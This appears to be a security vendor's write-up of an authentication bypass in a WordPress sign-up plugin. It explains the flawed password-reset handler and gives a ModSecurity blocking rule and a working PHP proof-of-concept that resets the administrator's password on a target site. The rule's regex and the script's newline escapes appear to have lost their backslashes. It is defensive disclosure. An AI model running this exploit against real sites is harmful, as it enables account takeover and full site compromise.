Atomic Edge analysis of CVE-2026-12417 (metadata-based): This vulnerability exists in the SignUp & SignIn plugin for WordPress, version 1.0.0, and allows unauthenticated attackers to bypass authentication and achieve account takeover, including administrator-level privilege escalation. The CVSS score of 9.8 reflects the critical severity and ease of exploitation.
The root cause lies in the `pravel_change_password()` AJAX handler. The handler is registered via `wp_ajax_nopriv_pravel_change_password`, making it accessible to unauthenticated users. It performs no nonce verification, no capability check, and uses a loose equality check (==) between an attacker-supplied `reset_activation_code` POST parameter and the target user’s `forgot_email` user meta value. When a user has never initiated a password reset, `get_user_meta()` returns an empty string, which trivially matches an empty or omitted attacker code. Atomic Edge analysis infers this pattern directly from the CWE classification (640 Weak Password Recovery Mechanism) and the detailed description, as no code diff is available.
Exploitation is straightforward. An attacker sends a crafted POST request to the WordPress AJAX endpoint `wp-admin/admin-ajax.php`. The request must include `action=pravel_change_password`, `reset_user_id` set to the target user’s numeric ID (obtainable via user enumeration), and `new_password_custom` set to an attacker-chosen password. The `reset_activation_code` parameter can be omitted or left empty. The server then changes the user’s password, allowing the attacker to log in as that user. There is no rate limiting or CAPTCHA to prevent automated attacks.
Remediation requires the plugin developer to implement multiple security measures. The handler must enforce nonce verification using `wp_verify_nonce()`, perform a capability check (e.g., `current_user_can()` for the intended user, or require the user to be logged in for password changes), and replace the loose equality check with a strict comparison (===) or use WordPress’s built-in password reset functions like `validate_password_reset()` and `reset_password()`. Proper validation should ensure the `reset_activation_code` is a securely generated token that cannot be guessed or bypassed. Since no patched version is available, site administrators should disable the plugin immediately.
The impact is severe. An unauthenticated attacker can change the password of any WordPress user, including administrators. This leads to complete account takeover, allowing the attacker to log in with administrative privileges, install malicious plugins, modify site content, access the database, and potentially compromise the server. Data confidentiality, integrity, and availability are all at risk.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-12417 (metadata-based)
# Blocks unauthenticated password change requests to the vulnerable AJAX handler
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-12417 - SignUp SignIn Unauthenticated Privilege Escalation via Password Reset',severity:'CRITICAL',tag:'CVE-2026-12417'"
SecRule ARGS_POST:action "@streq pravel_change_password"
"chain"
SecRule ARGS_POST:reset_user_id "@rx ^d+$"
"chain"
SecRule ARGS_POST:new_password_custom "@rx .+"
"t:none"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-12417 - SignUp & SignIn <= 1.0.0 - Unauthenticated Privilege Escalation via Weak Password Reset Validation Leading to Account Takeover
// Configuration: Set the target WordPress site URL and target user ID
$target_url = 'http://target-wordpress-site.com'; // CHANGE THIS
$target_user_id = 1; // Typically, user ID 1 is the admin
$new_password = 'P@ssw0rd_Exploited123';
// Build the exploit payload
$post_data = array(
'action' => 'pravel_change_password',
'reset_user_id' => $target_user_id,
'new_password_custom' => $new_password,
// reset_activation_code omitted; empty string will match the user's empty forgot_email meta
);
// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
// Execute the exploit
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Check for success (expected response may be empty or contain success indicators)
if ($http_code == 200) {
echo "[+] Exploit sent successfully!n";
echo "[+] Target user ID: $target_user_idn";
echo "[+] New password set to: $new_passwordn";
echo "[+] Try logging in at: " . $target_url . "/wp-login.phpn";
} else {
echo "[-] Exploit failed with HTTP code: $http_coden";
echo "[-] Check target URL and user ID, or plugin may already be disabled.n";
}
